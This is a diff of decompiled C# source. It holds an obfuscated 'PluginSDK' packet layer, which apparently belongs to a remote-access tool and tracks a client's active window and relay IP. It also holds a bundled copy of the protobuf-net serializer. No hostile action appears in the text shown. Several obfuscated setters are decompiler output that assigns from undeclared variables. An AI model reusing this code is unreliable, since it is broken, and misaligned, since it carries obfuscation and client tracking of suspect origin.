if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_39adc595083c4bb6915cfffdabca57d7 == 0)
{
num2 = 4;
}
}
}
}
}
[ProtoMember(18)]
public string ActiveWindow
{
[CompilerGenerated]
get
{
return PE5GyEhKs;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 0:
return;
case 1:
break;
}
goto IL_001e;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001e;
IL_001e:
PE5GyEhKs = pE5GyEhKs;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_853e64fb4ead47df85068e27da1ecb7b == 0)
{
num2 = 2;
}
}
}
}
}
[ProtoMember(19)]
public bool IsRelayProxy
{
[CompilerGenerated]
get
{
return XeXbv2dKN;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 0:
return;
case 1:
break;
}
goto IL_001e;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001e;
IL_001e:
XeXbv2dKN = xeXbv2dKN;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_facf28e488a94c39b60d8c8a04f98a66 != 0)
{
num2 = 0;
}
}
}
}
}
[ProtoMember(20)]
public string RelayIP
{
[CompilerGenerated]
get
{
return NPajAHbBm;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 0:
return;
case 1:
break;
}
goto IL_001e;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001e;
IL_001e:
NPajAHbBm = nPajAHbBm;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_a9147deb311449e1af3e1c05bc2ac7f0 != 0)
{
num2 = 5;
}
}
}
}
}
public ClientInformation()
{
NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq();
base._002Ector();
int num = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_2c4908f24e22416e88d1fa82d96dd701 == 0)
{
num = 0;
}
int num2 = default(int);
while (true)
{
switch (num)
{
case 0:
return;
}
if (num2 == 988)
{
num = num2;
continue;
}
return;
}
}
internal static bool AmcJgwLLG2rh0HyEUJE()
{
return HNUBs4L26A7KubZTBXe == null;
}
internal static ClientInformation LwHAeRLkkl5AOu9ifnJ()
{
return HNUBs4L26A7KubZTBXe;
}
}
@@ -0,0 +1,90 @@
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using PluginSDK.Interfaces;
using ProtoBuf;
using XW3iQq2AVWsC9kohc8a;
namespace PluginSDK.Packets;
[ProtoContract]
[ComVisible(false)]
public class CustomPacket : IPacket
{
[CompilerGenerated]
private byte[] glbOhpxdU;
private static CustomPacket AqYMCiLJ0xbhldEr5v7;
[ProtoMember(3)]
public byte[] Buffer
{
[CompilerGenerated]
get
{
return glbOhpxdU;
}
[CompilerGenerated]
set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 1:
glbOhpxdU = value;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_6651f8592e684e849da751d50852d553 != 0)
{
num2 = 0;
}
continue;
case 0:
return;
}
break;
}
}
while (num == 989);
}
}
public CustomPacket()
{
NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq();
base._002Ector();
int num = 2;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_24faa0276f6f44618e997d66140f0229 == 0)
{
num = 0;
}
int num2 = default(int);
while (true)
{
switch (num)
{
case 0:
return;
}
if (num2 == 988)
{
num = num2;
continue;
}
return;
}
}
internal static bool wUdrJLL1CINXgUMRmMm()
{
return AqYMCiLJ0xbhldEr5v7 == null;
}
internal static CustomPacket lmikI5LAUx4SgpLBKsq()
{
return AqYMCiLJ0xbhldEr5v7;
}
}
@@ -0,0 +1,187 @@
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using PluginSDK.Enums;
using PluginSDK.Interfaces;
using ProtoBuf;
using XW3iQq2AVWsC9kohc8a;
namespace PluginSDK.Packets;
[ProtoContract]
[ComVisible(false)]
public class ImPlugin : IPacket
{
[CompilerGenerated]
private ClientInformation Og6KPCllM;
[CompilerGenerated]
private EnumPlugins icazxFjCP;
[CompilerGenerated]
private string rkMifup0hl;
internal static ImPlugin Dx5AdrLNOi4li7Y23Db;
[ProtoMember(1)]
public ClientInformation ClientInformation
{
[CompilerGenerated]
get
{
return Og6KPCllM;
}
[CompilerGenerated]
internal set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 1:
Og6KPCllM = og6KPCllM;
num2 = 6;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cb9c626824424572a150665e8d57c6e7 != 0)
{
num2 = 0;
}
continue;
case 0:
return;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(2)]
public EnumPlugins Plugin
{
[CompilerGenerated]
get
{
return icazxFjCP;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 1:
break;
case 0:
return;
}
goto IL_001d;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001d;
IL_001d:
icazxFjCP = enumPlugins;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_8f981747ae1949e699313fa1f44f884d != 0)
{
num2 = 2;
}
}
}
}
}
[ProtoMember(3)]
public string ExtraParameter
{
[CompilerGenerated]
get
{
return rkMifup0hl;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 0:
return;
case 1:
break;
}
goto IL_001e;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001e;
IL_001e:
rkMifup0hl = text;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f657717d8f834c178c7cd09a108bbe65 != 0)
{
num2 = 0;
}
}
}
}
}
public ImPlugin()
{
NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq();
base._002Ector();
int num = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_29334a1357a4447b94464649938f08b9 != 0)
{
num = 0;
}
int num2 = default(int);
while (true)
{
switch (num)
{
case 0:
return;
}
if (num2 == 988)
{
num = num2;
continue;
}
return;
}
}
internal static bool vnPHJHLyCLsMXixl79N()
{
return Dx5AdrLNOi4li7Y23Db == null;
}
internal static ImPlugin QoGwgaLTbgmJtF4cw6U()
{
return Dx5AdrLNOi4li7Y23Db;
}
}
@@ -0,0 +1,273 @@
using System;
using System.IO;
using System.Runtime.InteropServices;
using PluginSDK.Interfaces;
using ProtoBuf;
using WHtonEnRQ3TyPp1lZXF;
namespace PluginSDK;
[ComVisible(false)]
public static class Serialization
{
internal static Serialization QmBRb7LiZdPAAWaWuqd;
internal static byte[] Ev3No9Wbt(object P_0)
{
int num = 2;
MemoryStream memoryStream = default(MemoryStream);
int num4 = default(int);
byte[] result = default(byte[]);
int num6 = default(int);
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0014;
case 1:
try
{
Serializer.Serialize((Stream)memoryStream, (IPacket)P_0);
int num3 = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_6651f8592e684e849da751d50852d553 == 0)
{
num3 = 6;
}
while (true)
{
switch (num3)
{
default:
if (num4 == 990)
{
num3 = num4;
continue;
}
break;
case 1:
memoryStream.Position = 0L;
num3 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f25311c256b24afb83430c7b2ff15b49 == 0)
{
num3 = 6;
}
continue;
case 0:
break;
case 2:
goto end_IL_0048;
}
result = Hs1p7bnIKthS4T2pSI7.mXDnCAbl6k(memoryStream.ToArray());
num3 = 2;
continue;
end_IL_0048:
break;
}
}
finally
{
int num5;
if (memoryStream == null)
{
num5 = 2;
goto IL_00a9;
}
goto IL_00c8;
IL_00c8:
((IDisposable)memoryStream).Dispose();
num5 = 4;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_26f406ee7475415ea8607e0d9d8ee024 == 0)
{
num5 = 1;
}
goto IL_00a9;
IL_00a9:
while (true)
{
switch (num5)
{
default:
if (num6 == 990)
{
goto IL_00a7;
}
goto end_IL_00a9;
case 0:
break;
case 2:
goto end_IL_00a9;
case 1:
goto end_IL_00a9;
}
goto IL_00c8;
IL_00a7:
num5 = num6;
continue;
end_IL_00a9:
break;
}
}
break;
case 2:
memoryStream = new MemoryStream();
num2 = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_bdeabfc7dc3c456c87949484ef8ce8c5 == 0)
{
num2 = 4;
}
continue;
case 0:
break;
}
goto IL_012a;
IL_0014:
if (num == 990)
{
break;
}
goto IL_012a;
IL_012a:
return result;
}
}
}
public static IPacket PacketDesirialize(byte[] data)
{
int num = 1;
MemoryStream memoryStream = default(MemoryStream);
int num4 = default(int);
IPacket result = default(IPacket);
int num6 = default(int);
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
if (num == 990)
{
goto end_IL_0003;
}
goto case 0;
case 1:
memoryStream = new MemoryStream(Hs1p7bnIKthS4T2pSI7.QSUnNKj0pb(data));
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_ba76871b56e54f669cda2d26609cc5b4 == 0)
{
num2 = 5;
}
continue;
case 0:
try
{
memoryStream.Position = 0L;
int num3 = 6;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1b3d64cf90d3478ea689f41ea1de0e20 != 0)
{
num3 = 1;
}
while (true)
{
switch (num3)
{
default:
if (num4 == 989)
{
num3 = num4;
continue;
}
break;
case 1:
break;
case 0:
goto end_IL_0066;
}
result = Serializer.Deserialize<IPacket>(memoryStream);
num3 = 7;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_c29de6cf9a314eb89482fe4c2290bc42 == 0)
{
num3 = 0;
}
continue;
end_IL_0066:
break;
}
}
finally
{
int num5;
if (memoryStream == null)
{
num5 = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_94e78e0769e54be39e13ceab800bcc0d != 0)
{
num5 = 3;
}
goto IL_00c4;
}
goto IL_00e3;
IL_00c4:
while (true)
{
switch (num5)
{
default:
if (num6 == 990)
{
goto IL_00c2;
}
break;
case 2:
break;
case 1:
goto end_IL_00c4;
case 0:
goto end_IL_00c4;
}
goto IL_00e3;
IL_00c2:
num5 = num6;
continue;
end_IL_00c4:
break;
}
goto end_IL_009d;
IL_00e3:
((IDisposable)memoryStream).Dispose();
num5 = 3;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_9dfdbeb3592e4807b15dd3a37534d3a2 != 0)
{
num5 = 0;
}
goto IL_00c4;
end_IL_009d:;
}
break;
case 2:
break;
}
return result;
continue;
end_IL_0003:
break;
}
}
}
internal static bool Gshd9ULnCkmtcydk5oS()
{
return QmBRb7LiZdPAAWaWuqd == null;
}
internal static Serialization wapt5lLmIxcLWIKTT2K()
{
return QmBRb7LiZdPAAWaWuqd;
}
}
@@ -0,0 +1,8 @@
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
[assembly: ComVisible(true)]
[assembly: AssemblyVersion("0.0.0.0")]
@@ -0,0 +1,10 @@
using System.Reflection.Emit;
namespace ProtoBuf.Compiler;
internal readonly struct CodeLabel(Label value, int index)
{
public readonly Label Value = value;
public readonly int Index = index;
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,66 @@
using System;
using System.Reflection.Emit;
namespace ProtoBuf.Compiler;
internal sealed class Local : IDisposable
{
private LocalBuilder value;
private readonly Type type;
private CompilerContext ctx;
internal LocalBuilder Value => value ?? throw new ObjectDisposedException(GetType().Name);
public Type Type => type;
private Local(LocalBuilder value, Type type)
{
this.value = value;
this.type = type;
}
internal Local(CompilerContext ctx, Type type)
{
this.ctx = ctx;
if (ctx != null)
{
value = ctx.GetFromPool(type);
}
this.type = type;
}
public Local AsCopy()
{
if (ctx == null)
{
return this;
}
return new Local(value, type);
}
public void Dispose()
{
if (ctx != null)
{
ctx.ReleaseToPool(value);
value = null;
ctx = null;
}
}
internal bool IsSame(Local other)
{
if (this == other)
{
return true;
}
object obj = value;
if (other != null)
{
return obj == other.value;
}
return false;
}
}
@@ -0,0 +1,3 @@
namespace ProtoBuf.Compiler;
internal delegate object ProtoDeserializer(object value, ProtoReader source);
@@ -0,0 +1,3 @@
namespace ProtoBuf.Compiler;
internal delegate void ProtoSerializer(object value, ProtoWriter dest);
@@ -0,0 +1,95 @@
using System;
using System.Reflection;
namespace ProtoBuf.Meta;
internal abstract class AttributeMap
{
private sealed class ReflectionAttributeMap : AttributeMap
{
private readonly Attribute attribute;
public override object Target => attribute;
public override Type AttributeType => attribute.GetType();
public ReflectionAttributeMap(Attribute attribute)
{
this.attribute = attribute;
}
public override bool TryGet(string key, bool publicOnly, out object value)
{
MemberInfo[] instanceFieldsAndProperties = Helpers.GetInstanceFieldsAndProperties(attribute.GetType(), publicOnly);
MemberInfo[] array = instanceFieldsAndProperties;
foreach (MemberInfo memberInfo in array)
{
if (string.Equals(memberInfo.Name, key, StringComparison.OrdinalIgnoreCase))
{
if (memberInfo is PropertyInfo propertyInfo)
{
value = propertyInfo.GetValue(attribute, null);
return true;
}
if (memberInfo is FieldInfo fieldInfo)
{
value = fieldInfo.GetValue(attribute);
return true;
}
throw new NotSupportedException(memberInfo.GetType().Name);
}
}
value = null;
return false;
}
}
public abstract Type AttributeType { get; }
public abstract object Target { get; }
public override string ToString()
{
return AttributeType?.FullName ?? "";
}
public abstract bool TryGet(string key, bool publicOnly, out object value);
public bool TryGet(string key, out object value)
{
return TryGet(key, publicOnly: true, out value);
}
public static AttributeMap[] Create(TypeModel model, Type type, bool inherit)
{
object[] customAttributes = type.GetCustomAttributes(inherit);
AttributeMap[] array = new AttributeMap[customAttributes.Length];
for (int i = 0; i < customAttributes.Length; i++)
{
array[i] = new ReflectionAttributeMap((Attribute)customAttributes[i]);
}
return array;
}
public static AttributeMap[] Create(TypeModel model, MemberInfo member, bool inherit)
{
object[] customAttributes = member.GetCustomAttributes(inherit);
AttributeMap[] array = new AttributeMap[customAttributes.Length];
for (int i = 0; i < customAttributes.Length; i++)
{
array[i] = new ReflectionAttributeMap((Attribute)customAttributes[i]);
}
return array;
}
public static AttributeMap[] Create(TypeModel model, Assembly assembly)
{
object[] customAttributes = assembly.GetCustomAttributes(inherit: false);
AttributeMap[] array = new AttributeMap[customAttributes.Length];
for (int i = 0; i < customAttributes.Length; i++)
{
array[i] = new ReflectionAttributeMap((Attribute)customAttributes[i]);
}
return array;
}
}
@@ -0,0 +1,276 @@
using System;
using System.Collections;
namespace ProtoBuf.Meta;
internal class BasicList : IEnumerable
{
public struct NodeEnumerator : IEnumerator
{
private int position;
private readonly Node node;
public object Current => node[position];
internal NodeEnumerator(Node node)
{
position = -1;
this.node = node;
}
void IEnumerator.Reset()
{
position = -1;
}
public bool MoveNext()
{
int length = node.Length;
if (position <= length)
{
return ++position < length;
}
return false;
}
}
internal sealed class Node
{
private readonly object[] data;
private int length;
public object this[int index]
{
get
{
if (index >= 0 && index < length)
{
return data[index];
}
throw new ArgumentOutOfRangeException("index");
}
set
{
if (index >= 0 && index < length)
{
data[index] = value;
return;
}
throw new ArgumentOutOfRangeException("index");
}
}
public int Length => length;
internal Node(object[] data, int length)
{
this.data = data;
this.length = length;
}
public void RemoveLastWithMutate()
{
if (length == 0)
{
throw new InvalidOperationException();
}
length--;
}
public Node Append(object value)
{
int num = length + 1;
object[] array;
if (data == null)
{
array = new object[10];
}
else if (length == data.Length)
{
array = new object[data.Length * 2];
Array.Copy(data, array, length);
}
else
{
array = data;
}
array[length] = value;
return new Node(array, num);
}
public Node Trim()
{
if (length == 0 || length == data.Length)
{
return this;
}
object[] destinationArray = new object[length];
Array.Copy(data, destinationArray, length);
return new Node(destinationArray, length);
}
internal int IndexOfString(string value)
{
for (int i = 0; i < length; i++)
{
if (value == (string)data[i])
{
return i;
}
}
return -1;
}
internal int IndexOfReference(object instance)
{
for (int i = 0; i < length; i++)
{
if (instance == data[i])
{
return i;
}
}
return -1;
}
internal int IndexOf(MatchPredicate predicate, object ctx)
{
for (int i = 0; i < length; i++)
{
if (predicate(data[i], ctx))
{
return i;
}
}
return -1;
}
internal void CopyTo(Array array, int offset)
{
if (length > 0)
{
Array.Copy(data, 0, array, offset, length);
}
}
internal void Clear()
{
if (data != null)
{
Array.Clear(data, 0, data.Length);
}
length = 0;
}
}
internal delegate bool MatchPredicate(object value, object ctx);
internal sealed class Group
{
public readonly int First;
public readonly BasicList Items;
public Group(int first)
{
First = first;
Items = new BasicList();
}
}
private static readonly Node nil = new Node(null, 0);
protected Node head = nil;
public object this[int index] => head[index];
public int Count => head.Length;
public void CopyTo(Array array, int offset)
{
head.CopyTo(array, offset);
}
public int Add(object value)
{
return (head = head.Append(value)).Length - 1;
}
public void Trim()
{
head = head.Trim();
}
IEnumerator IEnumerable.GetEnumerator()
{
return new NodeEnumerator(head);
}
public NodeEnumerator GetEnumerator()
{
return new NodeEnumerator(head);
}
internal int IndexOf(MatchPredicate predicate, object ctx)
{
return head.IndexOf(predicate, ctx);
}
internal int IndexOfString(string value)
{
return head.IndexOfString(value);
}
internal int IndexOfReference(object instance)
{
return head.IndexOfReference(instance);
}
internal bool Contains(object value)
{
NodeEnumerator enumerator = GetEnumerator();
while (enumerator.MoveNext())
{
object current = enumerator.Current;
if (object.Equals(current, value))
{
return true;
}
}
return false;
}
internal static BasicList GetContiguousGroups(int[] keys, object[] values)
{
if (keys == null)
{
throw new ArgumentNullException("keys");
}
if (values == null)
{
throw new ArgumentNullException("values");
}
if (values.Length < keys.Length)
{
throw new ArgumentException("Not all keys are covered by values", "values");
}
BasicList basicList = new BasicList();
Group obj = null;
for (int i = 0; i < keys.Length; i++)
{
if (i == 0 || keys[i] != keys[i - 1])
{
obj = null;
}
if (obj == null)
{
obj = new Group(keys[i]);
basicList.Add(obj);
}
obj.Items.Add(values[i]);
}
return basicList;
}
}
@@ -0,0 +1,129 @@
using System;
using System.Reflection;
using System.Runtime.Serialization;
namespace ProtoBuf.Meta;
public class CallbackSet
{
private readonly MetaType metaType;
private MethodInfo beforeSerialize;
private MethodInfo afterSerialize;
private MethodInfo beforeDeserialize;
private MethodInfo afterDeserialize;
internal MethodInfo this[TypeModel.CallbackType callbackType] => callbackType switch
{
TypeModel.CallbackType.BeforeSerialize => beforeSerialize,
TypeModel.CallbackType.AfterSerialize => afterSerialize,
TypeModel.CallbackType.BeforeDeserialize => beforeDeserialize,
TypeModel.CallbackType.AfterDeserialize => afterDeserialize,
_ => throw new ArgumentException("Callback type not supported: " + callbackType, "callbackType"),
};
public MethodInfo BeforeSerialize
{
get
{
return beforeSerialize;
}
set
{
beforeSerialize = SanityCheckCallback(metaType.Model, value);
}
}
public MethodInfo BeforeDeserialize
{
get
{
return beforeDeserialize;
}
set
{
beforeDeserialize = SanityCheckCallback(metaType.Model, value);
}
}
public MethodInfo AfterSerialize
{
get
{
return afterSerialize;
}
set
{
afterSerialize = SanityCheckCallback(metaType.Model, value);
}
}
public MethodInfo AfterDeserialize
{
get
{
return afterDeserialize;
}
set
{
afterDeserialize = SanityCheckCallback(metaType.Model, value);
}
}
public bool NonTrivial
{
get
{
if ((object)beforeSerialize == null && (object)beforeDeserialize == null && (object)afterSerialize == null)
{
return (object)afterDeserialize != null;
}
return true;
}
}
internal CallbackSet(MetaType metaType)
{
this.metaType = metaType ?? throw new ArgumentNullException("metaType");
}
internal static bool CheckCallbackParameters(TypeModel model, MethodInfo method)
{
ParameterInfo[] parameters = method.GetParameters();
for (int i = 0; i < parameters.Length; i++)
{
Type parameterType = parameters[i].ParameterType;
if ((object)parameterType != model.MapType(typeof(SerializationContext)) && (object)parameterType != model.MapType(typeof(Type)) && (object)parameterType != model.MapType(typeof(StreamingContext)))
{
return false;
}
}
return true;
}
private MethodInfo SanityCheckCallback(TypeModel model, MethodInfo callback)
{
metaType.ThrowIfFrozen();
if ((object)callback == null)
{
return callback;
}
if (callback.IsStatic)
{
throw new ArgumentException("Callbacks cannot be static", "callback");
}
if ((object)callback.ReturnType != model.MapType(typeof(void)) || !CheckCallbackParameters(model, callback))
{
throw CreateInvalidCallbackSignature(callback);
}
return callback;
}
internal static Exception CreateInvalidCallbackSignature(MethodInfo method)
{
return new NotSupportedException("Invalid callback signature in " + method.DeclaringType.FullName + "." + method.Name);
}
}
@@ -0,0 +1,15 @@
using System;
namespace ProtoBuf.Meta;
public sealed class LockContentedEventArgs : EventArgs
{
private readonly string ownerStackTrace;
public string OwnerStackTrace => ownerStackTrace;
internal LockContentedEventArgs(string ownerStackTrace)
{
this.ownerStackTrace = ownerStackTrace;
}
}
@@ -0,0 +1,3 @@
namespace ProtoBuf.Meta;
public delegate void LockContentedEventHandler(object sender, LockContentedEventArgs args);
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,26 @@
namespace ProtoBuf.Meta;
internal sealed class MutableList : BasicList
{
public new object this[int index]
{
get
{
return head[index];
}
set
{
head[index] = value;
}
}
public void RemoveLast()
{
head.RemoveLastWithMutate();
}
public void Clear()
{
head.Clear();
}
}
@@ -0,0 +1,7 @@
namespace ProtoBuf.Meta;
public enum ProtoSyntax
{
Proto2,
Proto3
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,99 @@
using System;
using System.Collections;
using System.Collections.Generic;
using ProtoBuf.Serializers;
namespace ProtoBuf.Meta;
public sealed class SubType
{
internal sealed class Comparer : IComparer, IComparer<SubType>
{
public static readonly Comparer Default = new Comparer();
public int Compare(object x, object y)
{
return Compare(x as SubType, y as SubType);
}
public int Compare(SubType x, SubType y)
{
if (x == y)
{
return 0;
}
if (x == null)
{
return -1;
}
if (y == null)
{
return 1;
}
return x.FieldNumber.CompareTo(y.FieldNumber);
}
}
private int _fieldNumber;
private readonly MetaType derivedType;
private readonly DataFormat dataFormat;
private IProtoSerializer serializer;
public int FieldNumber
{
get
{
return _fieldNumber;
}
internal set
{
if (_fieldNumber != value)
{
MetaType.AssertValidFieldNumber(value);
ThrowIfFrozen();
_fieldNumber = value;
}
}
}
public MetaType DerivedType => derivedType;
internal IProtoSerializer Serializer => serializer ?? (serializer = BuildSerializer());
private void ThrowIfFrozen()
{
if (serializer != null)
{
throw new InvalidOperationException("The type cannot be changed once a serializer has been generated");
}
}
public SubType(int fieldNumber, MetaType derivedType, DataFormat format)
{
if (derivedType == null)
{
throw new ArgumentNullException("derivedType");
}
if (fieldNumber <= 0)
{
throw new ArgumentOutOfRangeException("fieldNumber");
}
_fieldNumber = fieldNumber;
this.derivedType = derivedType;
dataFormat = format;
}
private IProtoSerializer BuildSerializer()
{
WireType wireType = WireType.String;
if (dataFormat == DataFormat.Group)
{
wireType = WireType.StartGroup;
}
IProtoSerializer tail = new SubItemSerializer(derivedType.Type, derivedType.GetKey(demand: false, getBaseKey: false), derivedType, recursionCheck: false);
return new TagDecorator(_fieldNumber, wireType, strict: false, tail);
}
}
@@ -0,0 +1,20 @@
using System;
namespace ProtoBuf.Meta;
public sealed class TypeAddedEventArgs : EventArgs
{
public bool ApplyDefaultBehaviour { get; set; }
public MetaType MetaType { get; }
public Type Type => MetaType.Type;
public RuntimeTypeModel Model => MetaType.Model as RuntimeTypeModel;
internal TypeAddedEventArgs(MetaType metaType)
{
MetaType = metaType;
ApplyDefaultBehaviour = true;
}
}
@@ -0,0 +1,65 @@
using System;
namespace ProtoBuf.Meta;
public class TypeFormatEventArgs : EventArgs
{
private Type type;
private string formattedName;
private readonly bool typeFixed;
public Type Type
{
get
{
return type;
}
set
{
if ((object)type != value)
{
if (typeFixed)
{
throw new InvalidOperationException("The type is fixed and cannot be changed");
}
type = value;
}
}
}
public string FormattedName
{
get
{
return formattedName;
}
set
{
if (formattedName != value)
{
if (!typeFixed)
{
throw new InvalidOperationException("The formatted-name is fixed and cannot be changed");
}
formattedName = value;
}
}
}
internal TypeFormatEventArgs(string formattedName)
{
if (string.IsNullOrEmpty(formattedName))
{
throw new ArgumentNullException("formattedName");
}
this.formattedName = formattedName;
}
internal TypeFormatEventArgs(Type type)
{
this.type = type ?? throw new ArgumentNullException("type");
typeFixed = true;
}
}
@@ -0,0 +1,3 @@
namespace ProtoBuf.Meta;
public delegate void TypeFormatEventHandler(object sender, TypeFormatEventArgs args);
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,852 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.Globalization;
using System.Reflection;
using ProtoBuf.Serializers;
namespace ProtoBuf.Meta;
public class ValueMember
{
internal sealed class Comparer : IComparer, IComparer<ValueMember>
{
public static readonly Comparer Default = new Comparer();
public int Compare(object x, object y)
{
return Compare(x as ValueMember, y as ValueMember);
}
public int Compare(ValueMember x, ValueMember y)
{
if (x == y)
{
return 0;
}
if (x == null)
{
return -1;
}
if (y == null)
{
return 1;
}
return x.FieldNumber.CompareTo(y.FieldNumber);
}
}
private int _fieldNumber;
private readonly MemberInfo originalMember;
private MemberInfo backingMember;
private readonly Type parentType;
private readonly Type itemType;
private readonly Type defaultType;
private readonly Type memberType;
private object defaultValue;
private readonly RuntimeTypeModel model;
private IProtoSerializer serializer;
private DataFormat dataFormat;
private DataFormat mapKeyFormat;
private DataFormat mapValueFormat;
private MethodInfo getSpecified;
private MethodInfo setSpecified;
private string name;
private const byte OPTIONS_IsStrict = 1;
private const byte OPTIONS_IsPacked = 2;
private const byte OPTIONS_IsRequired = 4;
private const byte OPTIONS_OverwriteList = 8;
private const byte OPTIONS_SupportNull = 16;
private const byte OPTIONS_AsReference = 32;
private const byte OPTIONS_IsMap = 64;
private const byte OPTIONS_DynamicType = 128;
private byte flags;
public int FieldNumber
{
get
{
return _fieldNumber;
}
internal set
{
if (_fieldNumber != value)
{
MetaType.AssertValidFieldNumber(value);
ThrowIfFrozen();
_fieldNumber = value;
}
}
}
public MemberInfo Member => originalMember;
public MemberInfo BackingMember
{
get
{
return backingMember;
}
set
{
if ((object)backingMember != value)
{
ThrowIfFrozen();
backingMember = value;
}
}
}
public Type ItemType => itemType;
public Type MemberType => memberType;
public Type DefaultType => defaultType;
public Type ParentType => parentType;
public object DefaultValue
{
get
{
return defaultValue;
}
set
{
if (defaultValue != value)
{
ThrowIfFrozen();
defaultValue = value;
}
}
}
internal IProtoSerializer Serializer => serializer ?? (serializer = BuildSerializer());
public DataFormat DataFormat
{
get
{
return dataFormat;
}
set
{
if (value != dataFormat)
{
ThrowIfFrozen();
dataFormat = value;
}
}
}
public bool IsStrict
{
get
{
return HasFlag(1);
}
set
{
SetFlag(1, value, throwIfFrozen: true);
}
}
public bool IsPacked
{
get
{
return HasFlag(2);
}
set
{
SetFlag(2, value, throwIfFrozen: true);
}
}
public bool OverwriteList
{
get
{
return HasFlag(8);
}
set
{
SetFlag(8, value, throwIfFrozen: true);
}
}
public bool IsRequired
{
get
{
return HasFlag(4);
}
set
{
SetFlag(4, value, throwIfFrozen: true);
}
}
public bool AsReference
{
get
{
return HasFlag(32);
}
set
{
SetFlag(32, value, throwIfFrozen: true);
}
}
public bool DynamicType
{
get
{
return HasFlag(128);
}
set
{
SetFlag(128, value, throwIfFrozen: true);
}
}
public bool IsMap
{
get
{
return HasFlag(64);
}
set
{
SetFlag(64, value, throwIfFrozen: true);
}
}
public DataFormat MapKeyFormat
{
get
{
return mapKeyFormat;
}
set
{
if (mapKeyFormat != value)
{
ThrowIfFrozen();
mapKeyFormat = value;
}
}
}
public DataFormat MapValueFormat
{
get
{
return mapValueFormat;
}
set
{
if (mapValueFormat != value)
{
ThrowIfFrozen();
